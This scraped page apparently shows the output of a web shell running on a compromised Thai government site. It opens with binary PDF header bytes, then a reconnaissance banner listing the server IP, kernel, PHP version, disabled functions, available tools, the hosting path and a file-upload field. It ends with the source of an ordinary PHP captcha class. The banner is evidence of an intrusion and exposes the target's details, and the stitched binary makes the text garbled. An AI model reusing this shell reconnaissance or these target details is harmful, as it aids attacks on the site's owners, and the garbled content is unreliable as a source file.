%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
Server IP : 122.155.17.190 / Your IP : 3.145.71.192 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : bungkla ( 1054) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bungkla/domains/bungkla.go.th/public_html/contacts/captcha/ |
Upload File : |
<?php class Captcha{ var $chars = 'ABCDEFGHKLMNPQRSTUVWYZ123456789'; // O and 0 (Zero) are visually similar, that's why I am not using it var $RandomStr = ''; function OutputCaptcha($width=100,$height=30,$length=6){ for($i = 0; $i < $length; $i++){ // Generating the captcha string $pos = mt_rand(0, strlen($this->chars)-1); $this->RandomStr .= substr($this->chars, $pos, 1); } $ResultStr = $this->RandomStr; $NewImage =imagecreatefromjpeg("img.jpg");//image create by existing image and as back ground $TextColor = imagecolorallocate($NewImage, 255, 0, 0);//text color-Black //$line_clr = imagecolorallocate($NewImage, 0, 255, 11); //Top left to Bottom Left //imageline($NewImage, 0, $height-22, $width, $height-1, $line_clr); // Bottom Left to Bottom Right //imageline($NewImage, $width-1, 0, $width-100, $height, $line_clr); //imageline($NewImage, $height-1, 0, $width-100, $width, $line_clr); //imageline($NewImage, $width-1, 0, $height-1, $width, $line_clr); imagestring($NewImage,5, 20, 6, $ResultStr, $TextColor);// Draw a random string horizontally $_SESSION['captcha_val'] = $ResultStr;// carry the data through session header("Content-type: image/jpeg");// out out the image imagejpeg($NewImage);//Output image to browser } } ?>